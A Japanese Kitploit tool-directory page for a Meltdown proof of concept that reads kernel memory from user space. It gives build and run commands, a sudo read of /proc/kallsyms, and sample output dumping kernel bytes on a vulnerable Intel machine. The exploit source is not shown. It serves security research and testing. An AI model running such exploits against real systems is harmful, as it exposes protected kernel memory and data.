Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
meltdown-exploit — Meltdown エクスプロイト PoC | Kitploit
ツール/GitHubGitHub/paboldin/meltdown-exploit
メモリフォレンジック脆弱性分析エクスプロイトバイナリエクスプロイト
GitHubpaboldin/meltdown-exploit

meltdown-exploit

Meltdown エクスプロイト PoC

リポジトリを見る
9492638年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

MELTDOWN エクスプロイト PoC

投機的実行最適化は、安全でない方法でコードを実行し、キャッシュなどのマイクロアーキテクチャにデータの痕跡を残します。

Lipp 他 (2018) は 2018-01-09 にコードを https://github.com/IAIK/meltdown で公開しました。詳細は論文 https://meltdownattack.com/meltdown.pdf を参照してください。

現時点では linux_proc_banner のみダンプ可能です。アクセスするメモリがキャッシュにある必要があり、/proc/version から読み取るたびに linux_proc_banner がキャッシュされるためです。prefetch でも動作する可能性があります。sched_yield で動作します。

ビルドは make、実行は ./run.sh で行います。

まだ KASLR を突破できません。そのため、/proc/kallsyms 内で linux_proc_banner を見つけるためにパスワードの入力が必要な場合があります(手動で行うこともできます)。

Flush+Reload とターゲット配列の手法は Spectre 論文 https://spectreattack.com/spectre.pdf から採用し、https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/ の手がかりに従って実装しました。

パンドラの箱が開かれました。

私のマシンで IAIK のバージョンで動作する 完全なエクスプロイト をご覧ください。

Result:

root@kitploit:~
$ make
cc -O2 -msse2   -c -o meltdown.o meltdown.c
cc   meltdown.o   -o meltdown
$ ./run.sh 
looking for linux_proc_banner in /proc/kallsyms
protected. requires root
+ find_linux_proc_banner /proc/kallsyms sudo
+ sudo awk 
	/linux_proc_banner/ {
		if (strtonum("0x"$1))
			print $1;
		exit 0;
	} /proc/kallsyms
+ linux_proc_banner=ffffffffa3e000a0
+ set +x
cached = 29, uncached = 271, threshold 88
read ffffffffa3e000a0 = 25 %
read ffffffffa3e000a1 = 73 s
read ffffffffa3e000a2 = 20  
read ffffffffa3e000a3 = 76 v
read ffffffffa3e000a4 = 65 e
read ffffffffa3e000a5 = 72 r
read ffffffffa3e000a6 = 73 s
read ffffffffa3e000a7 = 69 i
read ffffffffa3e000a8 = 6f o
read ffffffffa3e000a9 = 6e n
read ffffffffa3e000aa = 20  
read ffffffffa3e000ab = 25 %
read ffffffffa3e000ac = 73 s
read ffffffffa3e000ad = 20  
read ffffffffa3e000ae = 28 (
read ffffffffa3e000af = 62 b
read ffffffffa3e000b0 = 75 u
read ffffffffa3e000b1 = 69 i
read ffffffffa3e000b2 = 6c l
read ffffffffa3e000b3 = 64 d
read ffffffffa3e000b4 = 64 d
read ffffffffa3e000b5 = 40 @
VULNERABLE
VULNERABLE ON
4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
stepping	: 9
microcode	: 0x5e
cpu MHz		: 3499.316
cache size	: 6144 KB
physical id	: 0

対応環境

脆弱な CPU/カーネルのリストはこちらに移動しました: https://github.com/paboldin/meltdown-exploit/issues/19

脆弱でない CPU/カーネルのリストはこちらに移動しました: https://github.com/paboldin/meltdown-exploit/issues/22

ツールをダウンロード